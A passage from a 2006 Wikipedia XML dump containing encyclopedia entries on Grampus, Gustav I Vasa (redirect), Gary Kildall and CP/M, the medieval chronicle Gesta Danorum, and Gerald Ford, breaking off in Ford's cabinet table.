    <title>Grampus</title>
    <id>12738</id>
    <revision>
      <id>34893217</id>
      <timestamp>2006-01-12T15:11:18Z</timestamp>
      <contributor>
        <username>Commander Keane</username>
        <id>169380</id>
      </contributor>
      <minor />
      <comment>moved [[Grampus (disambiguation)]] to [[Grampus]]</comment>
      <text xml:space="preserve">{{Wiktionarypar|Grampus}}
'''Grampus''' may mean:
*An alternative common name for the [[orca]].
*The [[Grampus (genus)]], the name of the genus that includes [[Risso's Dolphin]] as its only species.
*[[CSS Grampus|CSS ''Grampus'']], a Confederate river steamer.
*[[HMS Grampus|HMS ''Grampus'']], a number of ships and submarines of the Royal Navy.
*[[USS Grampus|USS ''Grampus'']], a number of ships of the United States Navy.
*The [[Grampus class submarine]]s built in the style of [[HMS Grampus (N56)|HMS ''Grampus'' (N56)]].
*[[Grampus Heritage and Training, Ltd.]], an [[archaeology]] and traditional skills organization in northern England.
*[[Grampus (tugs)]] a character from children's series TUGS.
*[[Nagoya Grampus Eight]], a Japanese soccer club.

{{disambig}}

[[sl:Grampus]]</text>
    </revision>
  </page>
  <page>
    <title>Gustav I Vasa</title>
    <id>12739</id>
    <revision>
      <id>24815965</id>
      <timestamp>2005-10-05T15:09:05Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Gustav I of Sweden]]</text>
    </revision>
  </page>
  <page>
    <title>Gary Kildall</title>
    <id>12740</id>
    <revision>
      <id>41241201</id>
      <timestamp>2006-02-26T00:30:51Z</timestamp>
      <contributor>
        <username>Blainster</username>
        <id>31831</id>
      </contributor>
      <minor />
      <comment>add links</comment>
      <text xml:space="preserve">[[Image:GaryKildall.jpg|thumb|right|Gary Kildall]]
'''Gary Arlen Kildall''' ([[May 19]], [[1942]] &amp;ndash; [[July 11]], [[1994]]) was the creator of the [[CP/M]] [[operating system]] and [[GEM Desktop]] [[graphical user interface]], and founder of [[Digital Research|Digital Research, Inc.]] 

==Career==
Kildall received his PhD in computer science from the [[University of Washington]] in [[1972]]. While working as a professor at the [[Naval Postgraduate School]] (NPS) [[US Navy]] in [[Monterey, California]], he created implementations of the [[PL/I programming language]] for the [[Intel 4004]] and [[Intel 8008|8008]] CPUs. He referred to these versions as [[PL/M programming language|PL/M]] (M for microcomputer). During this time Kildall introduced the theory of [[data-flow analysis]] that is widely used in [[optimizing compiler]]s. [http://portal.acm.org/citation.cfm?coll=GUIDE&amp;dl=GUIDE&amp;id=512945]

In [[1973]], Kildall began work on a disk operating system in order to create a host development environment for PL/M on microcomputers, and ended up with [[CP/M]]. He founded Digital Research after his resignation from NPS in [[1976]] and continued work on CP/M, which he originally sold in classified ads in the back pages of computer magazines. With the release of the [[Altair 8800]] in January 1975 there was a commercial system capable of running CP/M, and before the end of the year a number of clones had appeared with disk drives that required it. By [[1977]], it was the most popular microcomputer operating system in existence, running on nearly every [[Intel 8080]] or Zilog [[Z80]] based computer.

In [[1980]], [[International Business Machines|IBM]] approached Digital Research for a version of CP/M for its upcoming [[IBM PC]]. Legend has it that Kildall snubbed the IBM representatives by going flying in his [[Pitts Special]] (an aerobatic biplane) for several hours. Although widespread, the story is generally not accepted to be true because it was Kildall's wife, [[Dorothy McEwen|Dorothy]], who handled business negotiations, not Kildall himself. Another story has it that IBM representatives wanted Dorothy to sign their standard [[non-disclosure agreement]], which Dorothy considered overly burdensome. Kildall associate [[Gordon Eubanks]] has said that the non-disclosure ''was'' signed, but that Kildall was not enthusiastic about porting CP/M to the IBM PC's [[Intel 8088|8088]] processor{{ref|Eubanks_History1}}. IBM related the story to Bill Gates, who was already providing the [[ROM]] [[BASIC]] interpreter for the PC, and Gates offered to provide an operating system as well.  He obtained rights to a [[QDOS]], a CP/M compatible OS made by [[Tim Paterson]] of Seattle Computer products, licensed it to IBM, and [[MS-DOS]]/[[PC-DOS]] was born.

The possible infringement problems between PC-DOS and CP/M have been the source of much speculation, with secondhand accounts of threatened lawsuits and secret deals, but none of the parties involved ever spoke publicly. Kildall wrote a 226-page memoir shortly before his death in 1994 that contained his account, but the memoir to date has not been published, although it served as source material for a chapter about Kildall and CP/M in the [[2004]] book ''They Made America'' by [[Harold Evans]].

Kildall believed that PC-DOS infringed on CP/M's [[copyright]], but [[software copyright]] law was in its infancy&amp;mdash;the decision in the landmark [[Apple v. Franklin]] case was still two years away&amp;mdash;and by the accounts of Kildall's employees and friends, Kildall was wary of engaging IBM in a lengthy and costly [[lawsuit]].  Nevertheless, he confronted IBM in late 1980 with his allegation, and they agreed to offer CP/M as an OS option for the PC in return for Digital's release of liability{{ref|Eubanks_History2}}.  

When the IBM PC was introduced, IBM sold the operating system as an unbundled (but necessary) option. One of the operating system options was PC-DOS, priced at US$60. A new port of CP/M, called [[CP/M-86]], was offered a few months later and priced at $240. Largely due to its early availability and the substantial price difference, PC-DOS became the preferred operating system. IBM's decision to source its favored operating system from [[Microsoft]] marked the beginning of Digital Research's decline.

After CP/M, concerned by the proliferation of [[BASIC programming language|BASIC]] on microcomputers, Kildall created PL/I-80, a ANSI standard subset of the full PL/I programming language, to run on CP/M based microcomputers. He also went on to create a variety of experimental projects, including an implementation of the [[Logo programming language|Logo]] educational programming language and interfaces between computers and [[CD-ROM]] drives and [[videodisc]] players. He created a CD-ROM version of [[Grolier Multimedia Encyclopedia|Grolier's]] [[Encyclopedia]]. He left Digital Research in [[1991]] when the company was sold to [[Novell]], and moved to suburban [[Austin, Texas]], keeping a second home in California.

==Death==
Friends and acquaintances reported that Kildall remained bitter that MS-DOS and Microsoft thrived while he languished in obscurity. Most of the internal features of MS-DOS based on CP/M were superseded in later versions, but DOS retained many user-visible similarities. Kildall was particularly piqued when the University of Washington asked him, as a distinguished graduate, to attend their computer science program anniversary in 1992, but gave the keynote speech to college [[dropout]] Bill Gates.  Kildall died in 1994 of uncertain causes in [[Monterey, California]] at the age of 52. Some reports say he fell off of a bar stool at the Franklin Street Bar and Grill in Monterey on [[July 8]] and died of internal bleeding three days later. Gary Kildall was buried in Evergreen-Washelli Cemetery North Seattle, Washington

==Recognition==
In March [[1995]], Kildall was posthumously honored by the [[Software and Information Industry Association|Software Publishers Association]] (now the Software and Information Industry Association) for his contributions to the computer industry:

* Introduction of operating systems with preemptive multitasking and windowing capabilities and menu-driven user interfaces.
* Creation of the first diskette track buffering schemes, read-ahead algorithms, file directory caches, and RAM disk emulators.
* Introduction of a binary recompiler in the 1980s.
* The first programming language and first compiler specifically for microprocessors.
* The first microprocessor disk operating system, which eventually sold a quarter million copies.
* The first computer interface for video disks to allow automatic nonlinear playback, presaging today's interactive multimedia.
* The file system and data structures for the first consumer CD-ROM.
* The first successful open-system architecture by segregating system-specific hardware interfaces in a set of [[BIOS]] routines, making the whole third-party software industry possible.

==Footnotes==
&lt;!-- Instructions for adding a footnote: 
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnote3]] for details.
     1) Assign your footnote a unique name, for example TheSun_Dec9. 
     2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote.
     3) Take note of the name of the footnote that immediately precedes yours in the article body. 
     4) Add #{{Note|TheSun_Dec9}} to the list, immediately below the footnote you noted in step 3.
     5) Multiple footnotes to the same reference will not work: you must insert two uniquely-named footnotes.
   NOTE: It is important to add the Footnote in the right order in the list.
--&gt;
#{{Note|Eubanks_History1}} [http://www.cwheroes.org/archives/histories/Eubanks.pdf Gordon Eubanks oral history], p. 12 ([[PDF]] file) recorded November 8, 2000 by ComputerWorld magazine
#{{Note|Eubanks_History2}} Eubanks oral history, p. 13

==External links==
*[http://www.archive.org/details/GaryKild Computer Chronicles] tribute to Dr. Kildall, a TV show he co-hosted in the 1980s
*[http://www.digitalresearch.biz/Gary.Kildall.htm Digital Research] tribute to Dr. Kildall
*[http://web.archive.org/web/20041010032349/http://www.maxframe.com/DR.HTM Internet archive] of defunct Digital Research website
*[http://dmoz.org/Computers/History/Pioneers/Kildall,_Gary/ Category at ODP]
*[http://www.businessweek.com/magazine/content/04_43/b3905109_mz063.htm 2004 ''Businessweek'' review] of ''They Made America: Two Centuries of Innovators from the Steam Engine to the Search Engine'' by Harold Evans, (2004) ISBN 0316277665, which contains a chapter on Gary Kildall

[[Category:1942 births|Kildall, Gary]]
[[Category:1994 deaths|Kildall, Gary]]
[[Category:American computer programmers|Kildall, Gary]]
[[Category:Computer pioneers|Kildall, Gary]]
[[Category:Computer scientists|Kildall, Gary]]
[[Category:Digital Research|Kildall, Gary]]

[[de:Gary Kildall]]
[[es:Gary Kildall]]
[[fr:Gary Kildall]]
[[ko:게리 킬달]]
[[nl:Gary Kildall]]
[[ja:ゲイリー・キルドール]]
[[pt:Gary Kildall]]</text>
    </revision>
  </page>
  <page>
    <title>Gesta Danorum</title>
    <id>12741</id>
    <revision>
      <id>38553072</id>
      <timestamp>2006-02-07T01:55:38Z</timestamp>
      <contributor>
        <username>Twthmoses</username>
        <id>173821</id>
      </contributor>
      <minor />
      <comment>/* Latin versions */ ISBN</comment>
      <text xml:space="preserve">[[Image:Saxo horn version 001.jpg|thumb|300px|right|Bishop Asgar, etching by the Danish-Norwegian illustrator Louis Moe (1857&amp;mdash;1945)]]
'''Gesta Danorum''' (&quot;Deeds of the Danes&quot;) is a work of [[Denmark|Danish]] history, by 12th century author [[Saxo Grammaticus]] (&quot;Saxo the Grammarian&quot;). It is the most ambitious literary undertaking of [[medieval]] Denmark.

==Gesta Danorum==

In sixteen books, written in [[Latin]] on the invitation of [[Archbishop]] [[Absalon]], it describes Danish history and to some degree [[Scandinavian]] history in general, from prehistory to the late [[12th century]]. It is the most ambitious literary undertaking of medieval Denmark, told in a sparkling and entertaining language, that reads as well today as it did back then.

The sixteen books can be categorized into two parts, book 1-9 being what is known as the [[Norse mythology|Old Norse]] part and Book 10-16 being medieval history. Book 9 ends with [[Gorm the Old]], the first factual documented [[King of Denmark]].

Since the work itself contains not a single date of any kind, neither for events nor to identify when it was written it can be problematic dating some persons and events of the Old Norse part. The only timeframe is the mention of Jesus' birth during [[Frode III]] reign, in book 5. This single fixed point established the dating of persons and events contained in the first 9 books. By counting back the number of generations told of by Saxo, one arrives roughly at 600 BC for the start of the work.

[[Image:Saxo original 001.jpg|thumb|150px|left|[[Angers Fragment]], page 1, front]]
===Chronology===

When the book was written, and in what order the books were written, is a matter of historical interpretation.

When exactly it was written is the subject of numerous books, however it is generally agreed that it was not finished before [[1208]]. 
The last event described in the last book (Book 16) is King [[Canute VI]] of Denmark subduing [[Wendland|Vendenland]] in [[Pomerania]] under Duke [[Bogislaw I]], in [[1186]]. However the preface of the work, dictated to Archbishop [[Anders Sunesen]], mentions the Danish conquest of the areas north of the [[Elbe]] in [[1208]].

Book 14, comprising nearly one-quarter of the text of the entire work, ends with [[Absalon]]'s appointment to Archbishop in [[1178]]. This comparably large book and the fact ''Absalon'' takes up a much more predominating position than King [[Valdemar I]] in this Book, makes it likely that this book is written first and comprised a work on its own. Saxo would then later enlarge it with Book 15 and 16, telling the story of King [[Valdemar I]] last years and King [[Canute VI]] first years.

It is then believed that Saxo wrote Book 11, 12 and 13. We know from [[Svend Aagesen]]'s history of Denmark, [[Brevis Historia Regum Dacie]], ca [[1186]], were it is stated that Saxo had decided to write about &quot;The king-father and his sons&quot; which would be King [[Sweyn Estridson]], which is book 11, 12, 13. He would then later add the 10 first books. This would also explain the 22 years between that last event described in the last book (Book 16) and the [[1208]] event described in the preface. 

[[Image:Saxo Chr P front version 001.jpg|thumb|200px|right|Front page of Christiern Pedersen's Saxo version, Paris 1514]]

===Manuscripts ===

The original manuscripts of the work are lost, except four fragments known as the [[Angers Fragment]], [[Lassen Fragment]], [[Kall-Rasmussen Fragment]] and [[Plesner Fragment]].
The [[Angers Fragment]], the biggest fragment and the only one attested to be on [[Saxo]]’ own handwriting. The other ones are copies from ca. [[1275]].
They now all reside in the [[Royal Library]] in [[Copenhagen]].

We do have the text, however. In [[1510]]-[[1512]], [[Christiern Pedersen]], a Danish translator working in Paris, searched Denmark high and low for an existing copy of Saxo’s works, which by that time was nearly all but lost. By that time most knowledge of Saxo’s work came from a summary located in [[Chronica Jutensis]], of ca. [[1342]], called [[Compendium Saxonis]]. It is also in this summary the name ''Gesta Danorum'' is found. We do not know the title Saxo himself used.

[[Christiern Pedersen]] finally found a copy with Archbishop [[Birger Gunnersen]] of [[Lund]], which he gladly lent him. With the help of [[Josse Bades]], they refined and printed it, so that the first printed press publication and the oldest known version of Saxo’s works, is Christiern Pedersen's [[Latin]] version, printed and published by [[Jodocus Badius Ascensius]], Paris,  March 15, [[1514]].  The colophon is: ...'' impressit in inclyta Parrhisorum academia Iodocus Badius Ascensius Idibus Martiis. MDXIIII. Supputatione Romana.'' [[Ides of March]].

===Translations===

The source of all existing translations and new versions today can be found in [[Christiern Pedersen]]'s Latin version [[Danorum Regum heroumque Historiae]].
There exist a number different translations today, some whole some partly.

====Latin versions====

*[[Christiern Pedersen]], published 1514, title: [[Danorum Regum heroumque Historiae]]
*[[Johannes Oporinus]], published 1534, title: ''Saxonis Grammatici Danorum Historiae Libri XVI''
*[[Philip Lonicer]], published 1576, title: ''Danica Historia Libris XVI''
*[[Stephan Hansen Stephanius]], published 1645, title: ''Saxonis Grammatici Historiæ Danicæ Libri XVI''
*[[Christian Adolph Klotz]], published 1771, title: ?
*[[Peter Erasmus Müller]], published 1839, title: ''Saxonis Grammatici Historia Danica''
*[[Alfred Holder]], published 1886, title: ''Saxonis Grammatici Gesta Danorum ''
*[[Jørgen Olrik]] &amp; [[Hans Ræder]], published 1931, title: ''Saxonis Gesta Danorum''
*[[Karsten Friis-Jensen]], published 2005, title: ''Gesta Danorum'' ISBN 978-87-12-04025-5 (ISBN-13) ISBN 87-12-04025-8

====Danish translations====

*[[Christiern Pedersen]], never published ca. 1540, Lost
*[[Jon Tursons]], never published ca. 1555, Lost
*[[Anders Sørensen Vedel]], published 1575, title: ''Den Danske Krønicke''
*[[Sejer Schousbölle]], published 1752, title: ''Saxonis Grammatici Historia Danica''
*[[Nicolai Grundtvig]], published 1818-1822, title: ''Danmarks Krønike af Saxo Grammaticus''
*[[Frederik Winkel Horn]], published 1898, title: ''Saxo Grammaticus: Danmarks Krønike''
*[[Jørgen Olrik]], published 1908-1912, title: ''Sakses Danesaga''
*[[Peter Zeeberg]], published 2000, title: ''Saxos Danmarkshistorie'' ISBN 87-12-03496-7 (complete) ISBN 87-12-03534-3 (vol 1) ISBN 87-12-03535-1 (vol 2)

====English translations====

*[[Oliver Elton]], published 1894, title: ''The First Nine Books of the Danish History of Saxo Grammaticus''
*[[Peter Fisher]], published 1979-1980, title: ''Saxo Grammaticus: The History of the Danes''
*[[Eric Christiansen]], published 1980-1981, title: ''Saxo Grammaticus: Danorum regum heroumque historia, books X-XVI''
*[[William F. Hansen]], published 1983, title: ''Saxo Grammaticus and the life of Hamlet''

====German, Spanish, Italian, and Japanese translations====

*[[Hermann Jantzen]], published 1900, title: ''Saxo Grammaticus. Die ersten neun Bücher der dänischen Geschichte''
*[[Ludovica Koch]] &amp; [[Maria Adele Cipolla]], published 1993, title: ''Sassone Grammatico: Gesta dei re e degli eroi danesi''
*[[Yukio Taniguchi]], published 1993, title: ''Sakuso Guramatikusu: Denmakujin no jiseki''
*[[Santiago Ibáñez Lluch]], published 1999, title: ''Saxo Gramático: Historia Danesa''

It is also translated partly to other [[English language|English]], [[French language|French]] and [[German language|German]] releases.

==Influences==

Certain aspects of ''Gesta Danorum'' formed the basis for [[William Shakespeare]]'s play, ''[[Hamlet]]''. It is thought that Shakespeare never read ''Gesta Danorum'', and instead had access to an auxiliary version of the tale describing the downfall of the Prince of Denmark, whose real name - [[Amleth]] - was used in [[anagram]] by Shakespeare for Hamlet. Saxo’s version, told of in Book 3 and 4, is very similar to that of Shakespeare’s Hamlet. In Saxo's version, two brothers, Orvendil and Fengi are given the rule over [[Jutland]] by King [[Rorik]] of the Danes.  Soon after, Orvendil marries King Rorik’s daughter, Geruth (Gertrude in Hamlet). Amleth is their first and only child.  Fengi becomes resentful of his brother’s marriage, and also wants sole leadership of Jutland, so therefore murders Orvendil. After a very brief period of mourning, Fengi marries Geruth, and declares himself sole leader of Jutland.  Eventually, Amleth avenges his father’s murder and plans the murder of his uncle, making him the new and rightful king of Jutland.

==References==
* Hilda Ellis Davidson, Peter Fisher (trans), ''Saxo Grammaticus: The History of the Danes, Books I-IX : I. English Text; II. Commentary'',   modern English translation, 2002, ISBN 0859915026
* Saxo Grammaticus, [http://sunsite.berkeley.edu/OMACL/DanishHistory/ ''Gesta Danorum''], Books I-IX, translated to English by Oliver Elton 1905.
* Saxo Grammaticus, [http://www.kb.dk/elib/lit/dan/saxo/lat/or.dsr/ ''Gesta Danorum''], from the Royal Library in Copenhagen, Danish and Latin.
* Helle Stangerup, ''Saxo Hans værk – Hans verden'', Høst &amp; Søn forlag 2004, ISBN 87-14-29949-6
* ''Apoteker Sibbernsens Saxobog'', C. A. Reitzels Forlag, Copenhagen, 1927
* [[Frederik Winkel Horn]], ''Saxo Grammaticus: Danmarks Krønike'', Chr. Flors Boghandel, Copenhangen 1911.
* [[Jørgen Olrik]] &amp; H Ræder, ''Saxonis Gesta Danorum'', Levin &amp; Munkesgaard, Copenhagen, 1931
* [[Anders Sørensen Vedel]], ''Den Danske Krønicke Saxo-oversættelse 1575 udgivet i facimile af Det danske Sprog- og Litteraturselskab'', G. E. C Gad, Copenhagen, 1967
* [[Curt Weibull]], ''Saxo. Kritiska undersökningar i Danmarks historia från Sven Estridsens död till Knut VI.'', Lund, Blekingska boktryckeriet, 1915 (in ''Historisk tidskrift för Skåneland, band 6, häfte 1-3)


[[Category:Medieval literature]]
[[Category:Danish chronicles]]
[[Category:Viking Age]]

[[da:Gesta Danorum]]
[[pl:Gesta Danorum]]
[[sv:Gesta Danorum]]</text>
    </revision>
  </page>
  <page>
    <title>Gerald Ford</title>
    <id>12742</id>
    <revision>
      <id>42141667</id>
      <timestamp>2006-03-04T02:24:46Z</timestamp>
      <contributor>
        <ip>208.248.11.18</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_President
| name=President Gerald Rudolph Ford, Jr.
| nationality=american
| image=Jerryford.jpg
| order='''38th''' [[President of the United States]]
| term_start=[[August 9]], [[1974]]
| term_end=[[January 20]], [[1977]]
| predecessor=[[Richard Nixon]]
| successor=[[Jimmy Carter]]
| birth_date=[[July 14]], [[1913]]
| birth_place=[[Omaha, Nebraska]]
| spouse=[[Betty Ford|Betty Warren Ford]]
| party=[[United States Republican Party|Republican]]
| vicePresident=none (Aug&amp;ndash;Dec 1974), [[Nelson Rockefeller|Nelson A. Rockefeller]] (1974&amp;ndash;1977)
}}
'''Gerald Rudolph Ford, Jr.''' (born [[July 14]], [[1913]]) was the 40th (1973&amp;ndash;1974) [[Vice President of the United States|Vice President]] and the 38th (1974&amp;ndash;1977) [[President of the United States]].  He was the nation's first President who was [[election|elected]] to neither the Presidency nor Vice Presidency. Instead, following the resignation of [[Spiro Agnew]] in 1973, he was appointed as Vice President by [[Richard Nixon]] following confirmation by Congress, and when Nixon later resigned, on [[August 9]], [[1974]], Ford assumed the Presidency. Along with his own Vice President, [[Nelson Rockefeller]], he is one of only two people to have been appointed Vice President rather than elected.

==Early life==
Ford was born to Leslie Lynch King and Dorothy Ayer Gardner in [[Omaha, Nebraska]]. He was born '''Leslie Lynch King, Jr.''', but would be renamed after his mother's remarriage. His parents divorced two years after he was born, and two years later his mother remarried Gerald Ford, after whom he was renamed despite never being formally [[adoption|adopted]] by his step-father.  Ford grew up in [[East Grand Rapids, Michigan]] and starred as a [[center (football)|center]] playing [[American football]] for the [[University of Michigan]]. 

A three-year [[letterman]], Ford helped the Wolverines to undefeated seasons in 1932 and 1933 and was voted the team's most valuable player in 1934. (His number 48 jersey has since been retired by the school.) At Michigan he joined [[Delta Kappa Epsilon]] fraternity and earned money for expenses by washing dishes at the fraternity house. After graduating the following spring while majoring in economics and political science, he turned down contract offers from the [[Detroit Lions]] and [[Green Bay Packers]] of the [[National Football League]]. 

While at the [[Yale Law School]], Ford joined a group of students led by [[R. Douglas Stuart, Jr.]] as they signed a petition to enforce the 1939 [[Neutrality Act]]. This petition was circulated nationally and was the inspiration for [[America First]], a group determined to keep America out of [[World War II]].  

Ford graduated from law school in 1941, having coached football and [[boxing]] part time to pay for school. Ford joined the [[Boy Scouts of America|Boy Scouts]] as a child and attained the highest rank of [[Eagle Scout rank (Boy Scouts of America)|Eagle Scout]]. He always regarded this as one of his proudest accomplishments even after attaining the White House. He is quoted for saying, &quot;I am the first Eagle Scout President!&quot; 

Ford is also a recipient of the [[Distinguished Eagle Scout Award]] from the Boy Scouts of America. The West Michigan Shores Council of the Boy Scouts of America was renamed to the [[Gerald R. Ford Council]].

==World War II==
[[Image:Lt_Cmdr_Gerald_Ford_uniform_1945.jpg|left|thumb|Ford in uniform, 1945]]

In April 1942 Ford joined the [[U.S. Naval Reserve]] receiving a commission as an [[Ensign (rank)|ensign]]. After an orientation program at [[Annapolis]], he became a physical fitness instructor at a pre- flight school in [[Chapel Hill, North Carolina]]. In the spring of 1943 he began service in the light [[aircraft carrier]] [[USS Monterey (CVL-26)|USS ''Monterey'' (CVL-26)]]. He was first assigned as athletic director and gunnery division officer, then as assistant [[navigator]] with the ''Monterey,'' which took part in most of the major operations in the [[Pacific War|South Pacific]], including [[Truk]], [[Saipan]], and the [[Philippines]]. His closest call with death came not as a result of enemy fire, however, but during a vicious [[typhoon]] in the [[Philippine Sea]] in December 1944. He came within inches of being swept overboard while the storm raged.  The ship, which was severely damaged by the storm and a resulting fire, had to be taken out of service. Ford spent the remainder of the war ashore and was discharged as a [[lieutenant commander]] in February 1946.

==House of Representatives: Minority Leader==
Ford was a member of the [[United States House of Representatives|House of Representatives]] for 24 years from 1949 to 1973, and became [[Minority Leader]] of the [[United States Republican Party|Republican Party]] in the House. Ford was very popular with the voters in his district and was always re-elected with 60% margins. He always stayed in close touch with the people of Grand Rapids. During his first campaign, he visited [[farmer]]s and promised he would work on their farms and milk their cows if elected - a promise which he apparently fulfilled [http://www.englishcottagegardens.com/barnhistory.html]. Ford won an award in 1961 as a &quot;Congressman's Congressman&quot; that praised his committee work on military budgets. During his tenure, Ford was chosen to serve on the [[Warren Commission]], a special task force set up to investigate the causes of, and quell rumors regarding the [[Assassination of John F. Kennedy|assassination of President John F. Kennedy]]. The Commission eventually concluded that [[Lee Harvey Oswald]] had acted alone in killing the President.  During the eight years (1965&amp;ndash;1973) he served as Minority Leader, Ford won many friends in the House due to his fair leadership and inoffensive personality. He often attacked the &quot;[[Great Society]]&quot; programs of President [[Lyndon Johnson]] as unneeded or wasteful. He made a speech attacking Johnson's [[Vietnam war]] policies called &quot;Why are we pulling our punches in [[Vietnam]]?” Ford charged that the President was meddling in the war effort and not letting the military do its job. Ford appeared on a televised series of [[press conference]]s with famed Illinois Senator [[Everett Dirksen]] that became very popular. The two men proposed Republican alternatives to President Johnson's policies. Many in the press jokingly called this &quot;The Ev and Jerry Show&quot;. Ford also led an effort to [[impeachment|impeach]] [[William O. Douglas]], who was a Justice on the [[United States Supreme Court]]. Ford made a speech charging Douglas with criminal activities and with promoting rebellion in his writings.

==Vice Presidency==
After [[United States Vice President|Vice President]] [[Spiro Agnew]] resigned during [[Richard Nixon]]'s Presidency, on [[October 10]], [[1973]], Nixon nominated Ford to take Agnew's place, under the [[Twenty-fifth Amendment to the United States Constitution|25th Amendment]] - the first time it was applied.  The [[United States Senate]] voted 92 to 3 to confirm Ford on November 27, 1973 and on December 6, the House confirmed him 387 to 35. Ford had long been one of President Nixon's most outspoken supporters. Ford traveled widely as Vice President and made many speeches defending the embattled President. He cited the many achievements of President Nixon and dismissed Watergate as a media event and a tragic sideshow.

==Presidency 1974-1977==
===Assumption===
[[Image:Ford sworn-in.jpg|right|thumb|200px|Vice President Ford is sworn in as the 38th President of the United States by Chief Justice [[Warren Burger]] as [[Betty Ford|Mrs. Ford]] looks on.]]
When Nixon resigned in the wake of the Watergate scandal on [[9 August]] [[1974]], Ford assumed the Presidency (again under the [[Twenty-fifth Amendment to the United States Constitution|25th Amendment]]), proclaiming that &quot;our long national nightmare is over&quot;.  On [[August 20]] Ford nominated former New York Governor [[Nelson Rockefeller]] to fill the Vice Presidency he had vacated, once more under the [[Twenty-fifth Amendment to the United States Constitution|25th Amendment]]. 

===Pardon of Nixon===
On September 8, 1974, Ford gave Nixon a full and unconditional pardon for any crimes he may have committed while President or, indeed, for anything else he might have done. Ford explained he felt the pardon was in the best interests of the country. Ford also pardoned all Vietnam draft dodgers who had resisted the draft and fled to countries such as Canada.  

At the time, the pardon was highly controversial. Critics of the Nixon Administration derided the pardon and claimed a &quot;[[corrupt bargain]]&quot; had been struck between the men. These critics claimed Ford's pardon was quid pro quo in exchange for Nixon's resignation that elevated Ford to the Presidency. Despite the controversy, no evidence of any collusion has ever surfaced, and Ford himself has consistently denied having ever discussed the matter with Nixon, either before or after the fact. Many historians believe the controversy was one of the major reasons Ford lost the election in [[U.S. presidential election, 1976|1976]].

The pardon controversy eventually subsided, and Ford now is widely regarded as being largely responsible for restoring the American public's faith and confidence in their political system. Ford's successor, Jimmy Carter, opened his 1977 [[inaugural address]] by praising the outgoing President. ''&quot;For myself and for our Nation, I want to thank my predecessor for all he has done to heal our land.&quot;''

===Economy===
The economy was a great concern during the Ford administration.  In response to rising [[inflation]], Ford went before the American public on television in October 1974 and asked them to &quot;[[whip inflation now]]&quot; (WIN); as part of this program, he urged people to wear &quot;WIN&quot; buttons.  However, most people viewed this as simply a public relations gimmick without offering any effective means of solving the underlying problem. At the time inflation was around 7%, a relatively modest number in retrospect, but still enough to discourage investment and push capital overseas and into government bonds.

The economic focus began to change as the country sank into a mild recession, and in March 1975, Ford and Congress signed into law income tax rebates (see the [[Tax Reduction Act of 1975]]) to help boost the economy.

===Foreign policy===
&lt;!-- Unsourced image removed: [[Image:ac.brezhnevford.jpg|right|thumb|200px|President Ford, left, and [[USSR]]'s [[Leonid Brezhnev]] meet at the Vladivostok summit negotiations, 1974]] --&gt;
Ford also faced a foreign policy crisis with the [[Mayaguez Incident]].  In May 1975, shortly after the [[Khmer Rouge]] took power in [[Cambodia]], Cambodians seized an American merchant ship, the ''Mayaguez'', in international waters.  Ford dispatched [[US Marines|Marines]] to rescue the crew, but the Marines landed on the wrong island and met unexpectedly stiff resistance just as, unknown to the U.S., the ''Mayaguez'' sailors were being released.  In all phases of the operation, fifty service men were wounded and forty-one killed, including three men believed to have been left behind alive and subsequently executed and twenty-three Air Force personnel killed earlier while en route to the staging area in [[Thailand]]. It is believed that approximately sixty [[Khmer Rouge]] soldiers were killed out of a land and sea force of about 300.

Ford's Presidency also saw the final withdrawal of American personnel from [[Vietnam]], in '[[Operation Frequent Wind]]'. On 29 April and the morning of 30 April 1975 the American embassy in [[Ho Chi Minh City|Saigon]] was evacuated, amidst chaotic scenes. [http://www.learnersonline.com/weekly/archive2K/week16/]
&lt;br clear=&quot;all&quot;&gt;

===Assassination attempts===
[[Image:Frommeassassinationattempt.jpg|thumb|left|[[Secret Service]] rushing Ford to safety after [[assassination attempt]] by [[Lynette Fromme|Lynette &quot;Squeaky&quot; Fromme]] in [[Sacramento, California]]. [[September 5]], [[1975]]]]
While in [[Sacramento, California]] on [[September 5]], [[1975]], a follower of incarcerated [[cult leader]] [[Charles Manson]] named [[Lynette Fromme|Lynette &quot;Squeaky&quot; Fromme]] pointed a Colt .45-caliber [[handgun]] at Ford's [[stomach]] as he was shaking hands with well-wishers. She pulled the trigger, but the bullet jammed. Apparently, the secret service (or some form of security) got to her before she could do anything else, and, as such, she was caught and nobody was injured.

Seventeen days later, another woman &amp;ndash; [[Sara Jane Moore]] &amp;ndash; also tried to kill Ford in [[San Francisco, California|San Francisco]]; but her shooting attempt was thwarted by a bystander, [[Oliver Sipple]] who hit her arm and deflected her shot. 
&lt;br clear=&quot;all&quot;&gt;

===Administration and Cabinet===
[[Image:A5235-5.jpg|right|thumb|170px|Gerald Ford meets with his Cabinet.]]
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|-
|align=&quot;left&quot;|'''OFFICE'''||align=&quot;left&quot;|'''NAME'''||align=&quot;left&quot;|'''TERM'''
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[President of the United States|President]]||align=&quot;left&quot; |'''Gerald Ford'''||align=&quot;left&quot;|1974&amp;ndash;1977
|-
|align=&quot;left&quot;|[[Vice President of the United States|Vice President]]||align=&quot;left&quot;|'''[[Nelson Rockefeller]]'''||align=&quot;left&quot;|1974&amp;ndash;1977
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[United States Secretary of State|State]]||align=&quot;left&quot;|'''[[Henry A. Kissinger]]'''||align=&quot;left&quot;|1974&amp;ndash;1977
|-
|align=&quot;left&quot;|[[United States Secretary of the Treasury|Treasury]]||align=&quot;left&quot;|'''[[William E. Simon]]'''||align=&quot;left&quot;|1974&amp;ndash;1977
|-
|align=&quot;left&quot;|[[United States Secretary of Defense|Defense]]||align=&quot;left&quot;|'''[[James R. Schlesinger]]'''||align=&quot;left&quot;|1974&amp;ndash;1975
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Donald Rumsfeld]]'''||align=&quot;left&quot;|1975&amp;ndash;1977
|-
|align=&quot;left&quot;|[[Attorney General of the United States|Justice]]||align=&quot;left&quot;|'''[[William Saxbe]]'''||align=&quot;left&quot;|1974&amp;ndash;1975
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Edward Levi]]'''||align=&quot;left&quot;|1975&amp;ndash;1977
|-
